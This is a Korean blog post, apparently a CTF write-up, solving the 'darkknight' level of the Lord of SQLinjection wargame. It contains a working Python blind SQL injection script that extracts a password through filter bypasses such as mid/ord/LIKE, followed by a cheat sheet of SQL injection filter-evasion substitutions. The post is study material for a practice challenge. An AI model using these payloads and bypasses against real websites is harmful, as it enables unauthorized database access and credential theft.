๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/Lord of SQLinjection

Lord of SQLinjection - darkknight

by Janger 2021. 12. 7.
728x90
๋ฐ˜์‘ํ˜•

์ด์ „๊นŒ์ง€๋Š” ๋ฌธ์ž์—ด ํ˜•ํƒœ์˜ id ํ˜น์€ pw๋ฅผ ๊ฐ’์„ ๋„˜๊ฒจ์ฃผ์—ˆ๋‹ค๋ฉด, ์ด๋ฒˆ์—๋Š” ์ˆซ์ž ํ˜•ํƒœ์˜ no๋ฅผ ๋„˜๊ฒจ์ฃผ์–ด์•ผ ํ•œ๋‹ค. 

 

์ฆ‰ no์€ '๋กœ ๋‘˜๋Ÿฌ์‹ธ์—ฌ์„œ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ตณ์ด '๋ฅผ ์‚ฌ์šฉํ•ด ์šฐํšŒ๋ฅผ ํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. 

์ˆ˜๊ณ ๋ฅผ ์ข€ ๋” ๋œ์–ด์ค€ ์…ˆ์ด๋‹ค. 

๋งˆ์นจ ํ•„ํ„ฐ๋ง์„ ํ•˜๋Š” ๋ถ€๋ถ„๋„ '๋ฅผ ๊ธˆ์ง€ํ•˜๊ณ  ์žˆ๋‹ค. 

 

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ๋ฌธ์ž๋ฅผ ์ด์šฉํ•ด Blind ์ธ์ ์…˜์„ ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. 

(๋ฌธ์ž๋ฅผ ์ฃผ๊ธฐ ์œ„ํ•ด์„œ๋Š” '๋ฅผ ํฌํ•จ์„ ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์—) 

 

๊ทธ๋ฆฌ๊ณ  ๋˜ ์ œ์™ธ๋ฅผ ํ•˜๋Š” ํ•จ์ˆ˜๋“ค๋„ ์žˆ๋Š”๋ฐ ๊ฐ๊ฐ substr๊ณผ ascii๊ฐ€ ์žˆ๋‹ค. 

์ด๋Š” ๋‹ค ๋‹ค๋ฅธ ํ•จ์ˆ˜๋กœ ๋Œ€์ฒด๊ฐ€ ๊ฐ€๋Šฅํ•จ. 

substr -> mid

ascii -> ord

 

=๋„ LIKE๋กœ ์น˜ํ™˜ํ•˜๋ฉด ๋œ๋‹ค. 

 

 

์•„๋ž˜๋Š” ํŒŒ์ด์ฌ ์ž๋™ํ™” ๋„๊ตฌ์ด๋‹ค. 

import requests

parameter = None



cookie = {'PHPSESSID':'์ž์‹ ์˜ ์ฟ ํ‚ค ๊ฐ’์„ ์ž…๋ ฅ'}

result = None

solve = ""
	
for i in range(1, 8+1):
	

	for ascii in range(48, 112+1):
		print(ascii)
		parameter = "?pw=NULL&&no=0|| ORD(MID(id,1,1)) LIKE 97 %26%26 ORD(MID(pw,{},1)) LIKE {}%23".format(i, ascii)
		url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" + parameter
		result = requests.get(url=url, cookies=cookie).text
		if "Hello admin" in result:
			print(i, ascii, chr(ascii))
			solve += chr(ascii)
			break
			
print( solve )

 

 

๋‹ค๋ฅธ ๋ธ”๋กœ๊ฑฐ๋ถ„์ด ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ž˜ ํฌ์ŠคํŒ…ํ•ด์ฃผ์…จ๋‹ค. 

https://securitynote.tistory.com/2

 

[SQLi] SQL Injection ํ•„ํ„ฐ๋ง ์šฐํšŒ

** ์ด ํฌ์ŠคํŒ…์€ ์ถ”ํ›„์— ํ•„ํ„ฐ๋ง ํŒจํ„ด ๋ฐœ๊ฒฌ ์‹œ ๊ณ„์† ์ถ”๊ฐ€ํ•  ์˜ˆ์ •์ž„ 1. substr ์šฐํšŒ  ord, right, left, mid ์‚ฌ์šฉ  (ex) substr('admin',1,1) = 'a'  → left('admin',1) 2. ascii ์šฐํšŒ  ord, hex ์‚ฌ์šฉ  (ex) ..

securitynote.tistory.com

 

[substr] → ord, right, left, mid

 

[ascii] → ord, hex

 

[=, like, or, and]

= → like, between, in, instr

!= → <>

or → || (%7c%7c)

and → && (%26%26)

 

[๊ณต๋ฐฑ]

'' → (), /**/, %90, %0a, %0b, %0c, %0d, %a0, +, %20,

์ฃผ์„(-- -, #) → ;%00

 

[์‹ฑ๊ธ€ ์ฟผํ„ฐ]

' → %27, char, "(๋”๋ธ” ์ฟผํ„ฐ)

 

[ereg, eregi]

ํŠน์ˆ˜๋ฌธ์ž → %00(๋„ ๋ฐ”์ดํŠธ)

๋ฌธ์ž์—ด → ๋Œ€์†Œ๋ฌธ์ž ๋ณ€๊ฒฝ

 

[preg_match]

\

728x90
๋ฐ˜์‘ํ˜•

'๐ŸดCTF > Lord of SQLinjection' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Lord of SQLinjection - giant  (0) 2021.12.08
Lord of SQLinjection - bugbear  (0) 2021.12.07
Lord of SQLinjection - skeleton  (0) 2021.12.07
Lord of SQLinjection - vampire  (0) 2021.12.07
Lord of SQLinjection - troll  (0) 2021.12.07